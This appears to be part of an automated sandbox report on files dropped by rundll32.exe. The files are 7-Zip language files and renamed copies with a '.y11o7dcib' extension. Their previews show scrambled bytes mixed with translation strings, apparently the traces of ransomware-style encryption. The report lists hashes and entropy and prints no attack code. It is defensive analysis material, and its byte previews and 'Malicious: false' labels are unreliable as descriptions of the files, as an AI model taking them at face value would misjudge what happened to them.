Preview:	......c...m...U.=.#.CG..q....,..I.R...-IW.....:\|..[..mH["{Jokubauskis..; 15.05 : Vaidas777..;..;..;..;..;..;..;..;..0..7-Zip..Lithuanian..Lietuvi...401..Gerai..At.aukti........&Taip..&......9....8..W=.y.].....+..'.#..I3....0..Wg.1.:b..G..r.l8(iems..Ne v&isiems..Sustabdyti..I. naujo..&Fone..&Pirminis procesas..&Laikinai sustabdyti..Laikinai sustabdyta..Ar j.s esate ti/.\|...f....%..}...BH....O...GS.SR}../`MM`..6.(......h..<i&amiausi...ran&kiai..&Elektroninis .inynas..540..&Atverti..Atverti v&iduje..Atverti i.&or.je..&Rodyti..K&eisti..Pervadi&ntiI.3.].h...l.lsV.............].c[..0.....`\M...h.o;.....cLV.......Jungti &failus.....Savy&b.s..Kome&ntuoti..Skai.iuoti kontrolin. sum...Sulyginti..Sukurti aplank...Sukurti fail...I.e-.a.?..w...-..{9.h.[.....:....,..S3....iLxE.4.VZ.&......i.\QNu.ym.ti visk...Atv&irk.tinis .ym.jimas..Parinkti.....At.ym.ti.....Pasirinkti pagal tip...At.ym.ti pagal tip...700....q.W.8....'..:..q.Z.iA.../...$..]L}.

C:\Program Files\7-Zip\Lang\lv.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5734
Entropy (8bit):	6.747456431213333
Encrypted:	false
SSDEEP:	96:o51VCUAMGytnddt8ZVWR/z5aOewGY5bSJlJllLaq0YaRTKyWY3F0HYm4RJfGusS:ojEU8yBdLiWlQRO2Jraq0RR5V0XS
MD5:	6B8367DEFF1EE1330697B8EAEAB6DC89
SHA1:	94A7EF5927A2470BC3D5C571F26BDDB581921896
SHA-256:	F74A264035F1CA2508752E10CCABBE4E49A9AE6AC31FCAF37C2EAB66D61C8ACB
SHA-512:	8BC03C50E90029BD42212C7B04E2D7BE89A56A9A97163BC00949229975079421238452460D801DEE7575FF31A4014599E53088714DF955363F2BC5D3A0C75EC8
Malicious:	false
Preview:	.....Y.......2.p/9....o.....w.k.J(...L.D.D.I`.a?#...HT.u~?.;..;..;..;..;..0..7-Zip..Latvian..Latvie.u..401..&Labi..&Atcelt........&J...&N...Aiz&v.rt..&Rokasgr.mata....&Turpin.t..44..$z..............S2....Y...t.!..D.E![jNLt.[.....o....pl.n...Pa&uze..Pauz.ts..Vai piekr.tat p.rtraukt .o darb.bu?..500..&Fails..&Labo.ana..&Izskats..Ie&cien.t.s..&R.ki..&.jB.a}..9....R..P.>...z.)........t..j..\|yF..v.jN+F..p.....vY0A...Ap&skate..&Labot..P.&rd.v.t..&Kop.t uz.....P.r&vietot uz.....&Dz.st..&Sadal.t failu.....Ap&vienot failus......pa..iiOC........`..P.....Z-.......g.MA..._....A".[.@....+.rrO.00..Iez.m.t &visu..Atcelt vis&u..I&nvert.t iez.m.jumu..Ie&z.m.t.....&Atcelt.....I&ez.m.t p.c tipa..A&tcelt p.c tipa..x;.=.?........3vk...A!.....X.u..j....E..%4.....i..q_.uc\|e..irot....&2 pane.i..&R.ku joslas..&Atv.rt saknes mapi..L.meni &uz aug.u..Mapju &v.sture.....&P.rlas.t..750..Arh.va =.[.9......4..3sy...R.?....E.g.....

C:\Program Files\7-Zip\Lang\lv.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5734
Entropy (8bit):	6.747456431213333
Encrypted:	false
SSDEEP:	96:o51VCUAMGytnddt8ZVWR/z5aOewGY5bSJlJllLaq0YaRTKyWY3F0HYm4RJfGusS:ojEU8yBdLiWlQRO2Jraq0RR5V0XS
MD5:	6B8367DEFF1EE1330697B8EAEAB6DC89
SHA1:	94A7EF5927A2470BC3D5C571F26BDDB581921896
SHA-256:	F74A264035F1CA2508752E10CCABBE4E49A9AE6AC31FCAF37C2EAB66D61C8ACB
SHA-512:	8BC03C50E90029BD42212C7B04E2D7BE89A56A9A97163BC00949229975079421238452460D801DEE7575FF31A4014599E53088714DF955363F2BC5D3A0C75EC8
Malicious:	false
Preview:	.....Y.......2.p/9....o.....w.k.J(...L.D.D.I`.a?#...HT.u~?.;..;..;..;..;..0..7-Zip..Latvian..Latvie.u..401..&Labi..&Atcelt........&J...&N...Aiz&v.rt..&Rokasgr.mata....&Turpin.t..44..$z..............S2....Y...t.!..D.E![jNLt.[.....o....pl.n...Pa&uze..Pauz.ts..Vai piekr.tat p.rtraukt .o darb.bu?..500..&Fails..&Labo.ana..&Izskats..Ie&cien.t.s..&R.ki..&.jB.a}..9....R..P.>...z.)........t..j..\|yF..v.jN+F..p.....vY0A...Ap&skate..&Labot..P.&rd.v.t..&Kop.t uz.....P.r&vietot uz.....&Dz.st..&Sadal.t failu.....Ap&vienot failus......pa..iiOC........`..P.....Z-.......g.MA..._....A".[.@....+.rrO.00..Iez.m.t &visu..Atcelt vis&u..I&nvert.t iez.m.jumu..Ie&z.m.t.....&Atcelt.....I&ez.m.t p.c tipa..A&tcelt p.c tipa..x;.=.?........3vk...A!.....X.u..j....E..%4.....i..q_.uc\|e..irot....&2 pane.i..&R.ku joslas..&Atv.rt saknes mapi..L.meni &uz aug.u..Mapju &v.sture.....&P.rlas.t..750..Arh.va =.[.9......4..3sy...R.?....E.g.....

C:\Program Files\7-Zip\Lang\mk.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9070
Entropy (8bit):	6.153672308034308
Encrypted:	false
SSDEEP:	192:Ec90bLJGyib35vnuIHu3+jeMVRxa8NbUloUWKs7bK54uSa9KA//vSS:50HQy43luQu3UVXjpKWKsfg44j/nF
MD5:	DC233E7EE02497A3C9828D9EF69744CF
SHA1:	1121E083174B577DF3409C572EF9F510FDBB9E12
SHA-256:	C2EB0DE5BFCCDD1DF4E163E2B289F2D03FC7F5E83AB7FC2B814D23A3BE5706C9
SHA-512:	26BA7C0EBB64DBBF4145B5D296B1E06326E8A9433D0E24A96E87B0070F5BF80B16F4492194AB2872F116079A2E326782CAA2716D32F77B758DC5687CFCEFA251
Malicious:	false
Preview:	c.o..U..I1..z&._..5.U..i..z&.>...,....).R.....[.%..~<..QJw..;..;..;..;..;..0..7-Zip..Macedonian..............401....................&....&....&............0.n........#P..H.....^.j.T..t6.U{Yc<`.8x-j.L.l..dX=..6.7.............................&........&........&...................... .......2I.._.CrY..h"e..,.v..._.j..j.....)...M.....B..My\|eG=.`.{c..7.QJj.......&........&.........&........&.......540..&.............. &............]....3CUY..^"b..I.............c..\.8h.H......dZ<.a.{n..7..........&....... .......&........ .......&.........&...... ................&....]...^...=..;p.....s}e.6[..T....c.zMc<.S9[-g.N.axMeG=.a.{nH;7.z..................... .................... ..........&........600...........]..._.C}.$.~"e..H.....^.k..b.....3.c-.\.

C:\Program Files\7-Zip\Lang\mk.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9070
Entropy (8bit):	6.153672308034308
Encrypted:	false
SSDEEP:	192:Ec90bLJGyib35vnuIHu3+jeMVRxa8NbUloUWKs7bK54uSa9KA//vSS:50HQy43luQu3UVXjpKWKsfg44j/nF
MD5:	DC233E7EE02497A3C9828D9EF69744CF
SHA1:	1121E083174B577DF3409C572EF9F510FDBB9E12
SHA-256:	C2EB0DE5BFCCDD1DF4E163E2B289F2D03FC7F5E83AB7FC2B814D23A3BE5706C9
SHA-512:	26BA7C0EBB64DBBF4145B5D296B1E06326E8A9433D0E24A96E87B0070F5BF80B16F4492194AB2872F116079A2E326782CAA2716D32F77B758DC5687CFCEFA251
Malicious:	false
Preview:	c.o..U..I1..z&._..5.U..i..z&.>...,....).R.....[.%..~<..QJw..;..;..;..;..;..0..7-Zip..Macedonian..............401....................&....&....&............0.n........#P..H.....^.j.T..t6.U{Yc<`.8x-j.L.l..dX=..6.7.............................&........&........&...................... .......2I.._.CrY..h"e..,.v..._.j..j.....)...M.....B..My\|eG=.`.{c..7.QJj.......&........&.........&........&.......540..&.............. &............]....3CUY..^"b..I.............c..\.8h.H......dZ<.a.{n..7..........&....... .......&........ .......&.........&...... ................&....]...^...=..;p.....s}e.6[..T....c.zMc<.S9[-g.N.axMeG=.a.{nH;7.z..................... .................... ..........&........600...........]..._.C}.$.~"e..H.....^.k..b.....3.c-.\.

C:\Program Files\7-Zip\Lang\mn.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8787
Entropy (8bit):	6.304558744795318
Encrypted:	false
SSDEEP:	192:ZLNGbDsAC83wyPocKYwRawVH/aNYXzdtMVMzRHCw5xhLw66mR1tyiaES:ZEBy78YXzQWz9xh396
MD5:	84A746155D90DE651FE3DB55996F7EF4
SHA1:	A2B17E799383B928B928D2C6C1DD02127D63D020
SHA-256:	1DF9BD4926E3D859F5E67A4AC8E7EFAA53525E299AA694E6EB380B27C96E08AC
SHA-512:	C92AEB1D36DBD1DA1197BDAD1597920E89E7980BFBC8FF87BE08B61F7C2747795EE56324DE1973D0D994774FA16DF4AFCDC244F0FAFC8C18B6088AC915F546B6
Malicious:	false
Preview:	...s.N..<...[.!....h,V#.l..hZ....$%C..O..^.?..:.Q.1..4 }`G..;..;..;..;..;..;..;..;..0..7-Zip..Mongolian........ .....401...................&......&......&........^...p."d..:.... `....zg.A ...*EN...r.e..N>.6`..R....'........... .&................ .........&.. ......&.... .....&... ......... .....X.._.L..i.".l.\J.8q.c....I.. K..fA/0...z..=.^.6A..R.$...u..Ogv.00..&......&.......&..........&..... ......&............&.........540..&........].._.../e3..&....!.......!.n.`@.0.....I=....f!....vuh&.............. .&............ &................. &.........&........&.... .............S.._..H.&e5.?...q.b....zg.@.f6.....D..<....] .9.&.uH'..gv....&................ ............ ..........&.....600......... ..&...........2..1..".z.,d..4&... b....tf.A%....G_..X.

C:\Program Files\7-Zip\Lang\mn.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8787
Entropy (8bit):	6.304558744795318
Encrypted:	false
SSDEEP:	192:ZLNGbDsAC83wyPocKYwRawVH/aNYXzdtMVMzRHCw5xhLw66mR1tyiaES:ZEBy78YXzQWz9xh396
MD5:	84A746155D90DE651FE3DB55996F7EF4
SHA1:	A2B17E799383B928B928D2C6C1DD02127D63D020
SHA-256:	1DF9BD4926E3D859F5E67A4AC8E7EFAA53525E299AA694E6EB380B27C96E08AC
SHA-512:	C92AEB1D36DBD1DA1197BDAD1597920E89E7980BFBC8FF87BE08B61F7C2747795EE56324DE1973D0D994774FA16DF4AFCDC244F0FAFC8C18B6088AC915F546B6
Malicious:	false
Preview:	...s.N..<...[.!....h,V#.l..hZ....$%C..O..^.?..:.Q.1..4 }`G..;..;..;..;..;..;..;..;..0..7-Zip..Mongolian........ .....401...................&......&......&........^...p."d..:.... `....zg.A ...*EN...r.e..N>.6`..R....'........... .&................ .........&.. ......&.... .....&... ......... .....X.._.L..i.".l.\J.8q.c....I.. K..fA/0...z..=.^.6A..R.$...u..Ogv.00..&......&.......&..........&..... ......&............&.........540..&........].._.../e3..&....!.......!.n.`@.0.....I=....f!....vuh&.............. .&............ &................. &.........&........&.... .............S.._..H.&e5.?...q.b....zg.@.f6.....D..<....] .9.&.uH'..gv....&................ ............ ..........&.....600......... ..&...........2..1..".z.,d..4&... b....tf.A%....G_..X.

C:\Program Files\7-Zip\Lang\mng.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	20504
Entropy (8bit):	5.634314459273184
Encrypted:	false
SSDEEP:	384:rNslIiJjvIaBb2PP9G9CTOqp+IwyLufvV7mB6iwazFH8N8SFxFqF7NpVPoSjwZ5T:29CKqnKf0QiT+83NpJLjlwiYpmaYGVfX
MD5:	251198B74BC80CF4471E6C274F9C15E1
SHA1:	04F080D9A3C2C35FD7E5BB5043FF9DDAD9F00E0B
SHA-256:	38CFD6C735F4BCAF528C0A2B1920A0E2F8E5055FD6722824DA132A9104CAAEEB
SHA-512:	7E943628753A9B07BE57E44467161D40F3DDADF0110C3D87A7CC7F5A2BCA283FF6207BB4D1B8D88DEFA4534A20504724060A3C1E84EAEECB771F17E52995E84E
Malicious:	false
Preview:	..Bno.?.h..M_4...I..L....&9.<.....pSO^.....N.f.Z..I-"\C....pdated: 2014-1-1..;..;..;..;..;..;..;..;..0..7-Zip..Mongolian (Unicode)........ ......401................=/".......@.../x80..!.\|2.C...g......5.+0....S4..M..*)........ (&C)........................ (&C)..440........ .....x._...Ton(.....N...l.....d..= ...\.j......a.n.d..E.Px.....tW........... ............ ..... (&B)........ ..... (&F).........W..mc..H.....Q.h.].m..!.\|(.C...g.....{.D=.q....E4...5G......... ...... ........ .. ...500....... (&F)...................x.."......@..-...;.....b.S.+....2.Dn.\|..F.Pz.....tW. (&A)........ (&T)............ (&H)..540.......... (&O)....... .........G..,.........Q.d...=(.}a.N.S.+..

C:\Program Files\7-Zip\Lang\mng.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	20504
Entropy (8bit):	5.634314459273184
Encrypted:	false
SSDEEP:	384:rNslIiJjvIaBb2PP9G9CTOqp+IwyLufvV7mB6iwazFH8N8SFxFqF7NpVPoSjwZ5T:29CKqnKf0QiT+83NpJLjlwiYpmaYGVfX
MD5:	251198B74BC80CF4471E6C274F9C15E1
SHA1:	04F080D9A3C2C35FD7E5BB5043FF9DDAD9F00E0B
SHA-256:	38CFD6C735F4BCAF528C0A2B1920A0E2F8E5055FD6722824DA132A9104CAAEEB
SHA-512:	7E943628753A9B07BE57E44467161D40F3DDADF0110C3D87A7CC7F5A2BCA283FF6207BB4D1B8D88DEFA4534A20504724060A3C1E84EAEECB771F17E52995E84E
Malicious:	false
Preview:	..Bno.?.h..M_4...I..L....&9.<.....pSO^.....N.f.Z..I-"\C....pdated: 2014-1-1..;..;..;..;..;..;..;..;..0..7-Zip..Mongolian (Unicode)........ ......401................=/".......@.../x80..!.\|2.C...g......5.+0....S4..M..*)........ (&C)........................ (&C)..440........ .....x._...Ton(.....N...l.....d..= ...\.j......a.n.d..E.Px.....tW........... ............ ..... (&B)........ ..... (&F).........W..mc..H.....Q.h.].m..!.\|(.C...g.....{.D=.q....E4...5G......... ...... ........ .. ...500....... (&F)...................x.."......@..-...;.....b.S.+....2.Dn.\|..F.Pz.....tW. (&A)........ (&T)............ (&H)..540.......... (&O)....... .........G..,.........Q.d...=(.}a.N.S.+..

C:\Program Files\7-Zip\Lang\mng2.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21887
Entropy (8bit):	5.700389104930286
Encrypted:	false
SSDEEP:	192:TfuSqZ2IHcDcijDb8deB3cCguR1vFZ4pobW6BIZ7vR4y4bmGa2az8JN7AdoRPTCo:T21QDodeBMqR9vbIJvd0PldYkigvB
MD5:	C58DB6FCAFEE83B6B46CCF80A151F41D
SHA1:	6FC52DC32E24458E79A826BF63F310C57D8C3BAE
SHA-256:	0F1220995B14C660DF92292422665CAF3021FCDCF237FDA6E3D300127A2B418C
SHA-512:	95E49EF3054553967E0111777F8D5D47F048657839D2A2DD259972F1F52A20EA1A48D708074F16C77A7F9690D86D3E3FC50428808FBE04CAE103DCD935D97E22
Malicious:	false
Preview:	..q)...:...(..E...8....4......m..t...$K..QL...Yg.9;.i.a..SG.pdated: 2013-12-11..; Update and Spelling corrected Bayarsaikhan..;..;..;..;..;..;..;..0..7-Zip..Mongolian (MenkCode)..........f....5..#[........lM.........U..zY$..\B...A..=.....p._......................... (&Y)...... (&N).......... (&C).............l.xY.L..Z\|n.......lf...z.c......- %..G.D.h.{n.?.V<..z._........ ..... (&A)......... .... (&L).........................f..3....v..-...l.....z.v.......Y$..\h...A...#....X..C....... ... (&F)........... (&P)......... ............. ........kT...L....v..-...L.kj..an.d....LY$..\h...A....a..h...t.mV00....... (&F)............... (&E)......... (&V)................f.t../ .....T...na.r......7...&..

C:\Program Files\7-Zip\Lang\mng2.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21887
Entropy (8bit):	5.700389104930286
Encrypted:	false
SSDEEP:	192:TfuSqZ2IHcDcijDb8deB3cCguR1vFZ4pobW6BIZ7vR4y4bmGa2az8JN7AdoRPTCo:T21QDodeBMqR9vbIJvd0PldYkigvB
MD5:	C58DB6FCAFEE83B6B46CCF80A151F41D
SHA1:	6FC52DC32E24458E79A826BF63F310C57D8C3BAE
SHA-256:	0F1220995B14C660DF92292422665CAF3021FCDCF237FDA6E3D300127A2B418C
SHA-512:	95E49EF3054553967E0111777F8D5D47F048657839D2A2DD259972F1F52A20EA1A48D708074F16C77A7F9690D86D3E3FC50428808FBE04CAE103DCD935D97E22
Malicious:	false
Preview:	..q)...:...(..E...8....4......m..t...$K..QL...Yg.9;.i.a..SG.pdated: 2013-12-11..; Update and Spelling corrected Bayarsaikhan..;..;..;..;..;..;..;..0..7-Zip..Mongolian (MenkCode)..........f....5..#[........lM.........U..zY$..\B...A..=.....p._......................... (&Y)...... (&N).......... (&C).............l.xY.L..Z\|n.......lf...z.c......- %..G.D.h.{n.?.V<..z._........ ..... (&A)......... .... (&L).........................f..3....v..-...l.....z.v.......Y$..\h...A...#....X..C....... ... (&F)........... (&P)......... ............. ........kT...L....v..-...L.kj..an.d....LY$..\h...A....a..h...t.mV00....... (&F)............... (&E)......... (&V)................f.t../ .....T...na.r......7...&..

C:\Program Files\7-Zip\Lang\mr.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11113
Entropy (8bit):	5.933763652120587
Encrypted:	false
SSDEEP:	192:p7rEOYSrgjyYgasGno5stT47VNLljnSVBE2Vzn6CrVToES:p//sjyYglO3ONLpu62ACZUf
MD5:	D87E465845EFDA50E75C270292598FC6
SHA1:	AACE7C73EB6D2F090FCD65C09419C948FFE0CDFC
SHA-256:	C60FB86119A97C30137233A623687343D3F6C4F4A2A7BF0851C4AA7A7827AF1A
SHA-512:	1DD18031C38C4040EE082061A16778E156D4F1243A63DBB39B23DC1A080C07A6525769A006DDF08F87DA266069FF0AF51B75D6CF22ED59113FD71106F9B9A872
Malicious:	false
Preview:	..E..y,...bZ...@..[.qIlR....lg.'#9v..... ..gp3N&Psf...9..... ....... (Subodh Gaikwad)..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Marathi.........401.............l.......N.....0Qx./\wd...Aa2#.~g4...@...d..#r....7mk..u..]7L.&......440..&.... .. ....&.... .. ................... .......`...G5Y...L..^tL6......&.lg.'#;v.....H...gn..,.6Hk..........&.......................... .... .......... ....^.D...b5XOc.V<v.-.=.............O.....d..#r....sg3............&........&......&.......&.....540..&......&.... ......&......X..82qM.{Z2.tL9...pH@..%)@.c1q3"..KO.T.{6.,bL9#/.1....L.... .....&..............&.........&.......&.... ..... ........4j_wK.k..V=v.&.x.8.....Aa2...v..

C:\Program Files\7-Zip\Lang\mr.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11113
Entropy (8bit):	5.933763652120587
Encrypted:	false
SSDEEP:	192:p7rEOYSrgjyYgasGno5stT47VNLljnSVBE2Vzn6CrVToES:p//sjyYglO3ONLpu62ACZUf
MD5:	D87E465845EFDA50E75C270292598FC6
SHA1:	AACE7C73EB6D2F090FCD65C09419C948FFE0CDFC
SHA-256:	C60FB86119A97C30137233A623687343D3F6C4F4A2A7BF0851C4AA7A7827AF1A
SHA-512:	1DD18031C38C4040EE082061A16778E156D4F1243A63DBB39B23DC1A080C07A6525769A006DDF08F87DA266069FF0AF51B75D6CF22ED59113FD71106F9B9A872
Malicious:	false
Preview:	..E..y,...bZ...@..[.qIlR....lg.'#9v..... ..gp3N&Psf...9..... ....... (Subodh Gaikwad)..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Marathi.........401.............l.......N.....0Qx./\wd...Aa2#.~g4...@...d..#r....7mk..u..]7L.&......440..&.... .. ....&.... .. ................... .......`...G5Y...L..^tL6......&.lg.'#;v.....H...gn..,.6Hk..........&.......................... .... .......... ....^.D...b5XOc.V<v.-.=.............O.....d..#r....sg3............&........&......&.......&.....540..&......&.... ......&......X..82qM.{Z2.tL9...pH@..%)@.c1q3"..KO.T.{6.,bL9#/.1....L.... .....&..............&.........&.......&.... ..... ........4j_wK.k..V=v.&.x.8.....Aa2...v..

C:\Program Files\7-Zip\Lang\ms.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5503
Entropy (8bit):	6.542685693990007
Encrypted:	false
SSDEEP:	96:fPRqJRsi0cDllQq4EfjArwGVY6cMsFfu03mEFv/oGS:HRqJRs2xWwkrRY6cMsf2EFv/oGS
MD5:	D7450EF3653BE9DC60D23BFD5E8D6D6E
SHA1:	27628368A4348B5E53A803A89E13638E56F69401
SHA-256:	46DA8567FFD8DF4A2CC88D16269572A1AAD903E5641F70692999E1A57DAFA233
SHA-512:	F484937CADD50F1E84ED64F897F1CFB48037911DA70D065EE773118A5490BB43B8B7C7E11001FD958D707AFA566FC54F726F3E2E412E9D1A2EE29193F99DD76A
Malicious:	false
Preview:	..,..#..=.B......o.\|7...Q...y"....un3.b...x:..H.Q..U....oz.5o ..;..;..;..;..;..;..;..0..7-Zip..Malay..Bahasa Melayu..401..OK..Batal........&Ya..&Tidak..&Tutup..Bantuan....&Teruskan..440..Ya .>ub..<../J...0...n..x......\Tc....i...~..RJ1..M.\|..x....B.HT.pang..&Latar depan..&Berehat..Berehat..Anda yakin untuk membatalkannya?..500..&Fail..&Edit..&Paparan..K&egemaran..&Alat..&BantuanmZ4#..e../@c......n..,......7......i"_.~....r..Q....9y.[... 2+zm&akan semula..&Salin ke.....&Pindahkan ke.....Hapus..&Bahagi/belah Fail.....Gab&ung Fail.....P&roperti..Kom&en......Buat FoldermZCb..O..3G......./.{....h.Q0....mwr.....~5..q..... .s..}'.6tnsangkan Pilihan..Pilih.....Tidak Memilih.....Pilih Berdasarkan Jenis..Tidak Memilih Berdasarkan Jenis..700..Ikon B&esar..Ikon KF5b~.e..?Ec..0.....e...h...Tc....k"G.y...l:..,.W..d..{.oz.l.tlbar..Buka Root Folder..Ke atas Satu Aras..Folder Sejarah.....&Segarkan Semula..750..Toolbar Arkib..Toolbar Standard..Bebutang B.#`e..?..6Bj..2...........S>d...T..5.

C:\Program Files\7-Zip\Lang\ms.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5503
Entropy (8bit):	6.542685693990007
Encrypted:	false
SSDEEP:	96:fPRqJRsi0cDllQq4EfjArwGVY6cMsFfu03mEFv/oGS:HRqJRs2xWwkrRY6cMsf2EFv/oGS
MD5:	D7450EF3653BE9DC60D23BFD5E8D6D6E
SHA1:	27628368A4348B5E53A803A89E13638E56F69401
SHA-256:	46DA8567FFD8DF4A2CC88D16269572A1AAD903E5641F70692999E1A57DAFA233
SHA-512:	F484937CADD50F1E84ED64F897F1CFB48037911DA70D065EE773118A5490BB43B8B7C7E11001FD958D707AFA566FC54F726F3E2E412E9D1A2EE29193F99DD76A
Malicious:	false
Preview:	..,..#..=.B......o.\|7...Q...y"....un3.b...x:..H.Q..U....oz.5o ..;..;..;..;..;..;..;..0..7-Zip..Malay..Bahasa Melayu..401..OK..Batal........&Ya..&Tidak..&Tutup..Bantuan....&Teruskan..440..Ya .>ub..<../J...0...n..x......\Tc....i...~..RJ1..M.\|..x....B.HT.pang..&Latar depan..&Berehat..Berehat..Anda yakin untuk membatalkannya?..500..&Fail..&Edit..&Paparan..K&egemaran..&Alat..&BantuanmZ4#..e../@c......n..,......7......i"_.~....r..Q....9y.[... 2+zm&akan semula..&Salin ke.....&Pindahkan ke.....Hapus..&Bahagi/belah Fail.....Gab&ung Fail.....P&roperti..Kom&en......Buat FoldermZCb..O..3G......./.{....h.Q0....mwr.....~5..q..... .s..}'.6tnsangkan Pilihan..Pilih.....Tidak Memilih.....Pilih Berdasarkan Jenis..Tidak Memilih Berdasarkan Jenis..700..Ikon B&esar..Ikon KF5b~.e..?Ec..0.....e...h...Tc....k"G.y...l:..,.W..d..{.oz.l.tlbar..Buka Root Folder..Ke atas Satu Aras..Folder Sejarah.....&Segarkan Semula..750..Toolbar Arkib..Toolbar Standard..Bebutang B.#`e..?..6Bj..2...........S>d...T..5.

C:\Program Files\7-Zip\Lang\nb.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6367
Entropy (8bit):	6.684763183651425
Encrypted:	false
SSDEEP:	192:/luCqpvtaBDE9trlORvlZEgxYNVcyusHhfepfwGS:ICqSJkUZEgx6F7Hhcox
MD5:	C84040B9C0AC7129BF2E638A9BF7EE49
SHA1:	B2551A989A32FDBCFAA4C83142E67357D6753B2E
SHA-256:	F566C2AE4B8D45A647BF6DDCA2EF9B3180093D61EA00E337665C8EC2356D65F9
SHA-512:	4C8A7DFE344D4685320F950E5E4F516EA287C77084CFF13258EA9777163B02A794EE3BB8351A6D4C37300E03ED4C2F0D24DCDB860E1039531577880025DEDD5E
Malicious:	false
Preview:	g.>`6....U.q...T...)lm<.ZU...#.G.q..l..[AB..=....l.KE+.... : Kjetil Hjartnes..; : Robert Gr.nning..;..;..;..;..;..;..;..;..0..7-Zip..Norwegian Bokmal..Norsk Bokm.l..401..OK.....)n....8?;...X...(3u.d].Rr...h..u...9.m..&...K6..:R......&alt..Nei til a&lt..Stopp..Start p. nytt..&Bakgrunn..&Forgrunn..&Stopp..Stoppet..Vil du avbryte?..500..&Fil..&Rediger..&Vis..&B...>e...8dT..fi..)lpT.....3,.=..."....>9...<.....5g.@CU.o...&eksternt..&Vis..&Rediger..Gi nytt &navn..&Kopier til ...&Flytt til ...S&lett..&Del opp arkiv ...&Sett sammen arkiv ...E...5d....@?;......P.$<h...{\|.h.l.o...@FF.._.....,c.^Rx..L.... f&il ...&Avslutt..600..Merk &alle..Merk i&ngen..Merk &omvendt..Merk ...Merk &ikke ...Merk &valgt type..Merk i&kke valgt t...V....8.b...w..K.3n.d(.....d.m..w....ZX.._... n.KEU.E....sortert..&Flat visning..&To felt..&Verkt.ylinjer..Rotmappe..G. opp et niv...Mappelogg ...&Oppdater..750..Arkivverkt.ylinje.c./v....VDT......M.<y.d(.K\|.f.c..`...

C:\Program Files\7-Zip\Lang\nb.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6367
Entropy (8bit):	6.684763183651425
Encrypted:	false
SSDEEP:	192:/luCqpvtaBDE9trlORvlZEgxYNVcyusHhfepfwGS:ICqSJkUZEgx6F7Hhcox
MD5:	C84040B9C0AC7129BF2E638A9BF7EE49
SHA1:	B2551A989A32FDBCFAA4C83142E67357D6753B2E
SHA-256:	F566C2AE4B8D45A647BF6DDCA2EF9B3180093D61EA00E337665C8EC2356D65F9
SHA-512:	4C8A7DFE344D4685320F950E5E4F516EA287C77084CFF13258EA9777163B02A794EE3BB8351A6D4C37300E03ED4C2F0D24DCDB860E1039531577880025DEDD5E
Malicious:	false
Preview:	g.>`6....U.q...T...)lm<.ZU...#.G.q..l..[AB..=....l.KE+.... : Kjetil Hjartnes..; : Robert Gr.nning..;..;..;..;..;..;..;..;..0..7-Zip..Norwegian Bokmal..Norsk Bokm.l..401..OK.....)n....8?;...X...(3u.d].Rr...h..u...9.m..&...K6..:R......&alt..Nei til a&lt..Stopp..Start p. nytt..&Bakgrunn..&Forgrunn..&Stopp..Stoppet..Vil du avbryte?..500..&Fil..&Rediger..&Vis..&B...>e...8dT..fi..)lpT.....3,.=..."....>9...<.....5g.@CU.o...&eksternt..&Vis..&Rediger..Gi nytt &navn..&Kopier til ...&Flytt til ...S&lett..&Del opp arkiv ...&Sett sammen arkiv ...E...5d....@?;......P.$<h...{\|.h.l.o...@FF.._.....,c.^Rx..L.... f&il ...&Avslutt..600..Merk &alle..Merk i&ngen..Merk &omvendt..Merk ...Merk &ikke ...Merk &valgt type..Merk i&kke valgt t...V....8.b...w..K.3n.d(.....d.m..w....ZX.._... n.KEU.E....sortert..&Flat visning..&To felt..&Verkt.ylinjer..Rotmappe..G. opp et niv...Mappelogg ...&Oppdater..750..Arkivverkt.ylinje.c./v....VDT......M.<y.d(.K\|.f.c..`...

C:\Program Files\7-Zip\Lang\ne.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13768
Entropy (8bit):	5.834611356191461
Encrypted:	false
SSDEEP:	192:pe4z5qOnGaQoMFOPANZpm8msdAC77XFB7lYz/LbZ9QsOJOSycvatS:Y4IDafM0PuZp5G73OJwA
MD5:	FA48D9A88F678082D6A5AAF7DE9C644E
SHA1:	787B3ECBAD2D7C25EC7D5DB3611D0797BC06CFE7
SHA-256:	E16AC2839994AD6C2D81011F3F8812086B988E824AFD53B10CCA39D132D11140
SHA-512:	3C87ED6941BE698DB265084550230AEDBCB9801A7E55F4749CC12979F3C2470AE75755C141F71BE5F68EA938CDE90A314E9E20480D9422E7FED416F20A085074
Malicious:	false
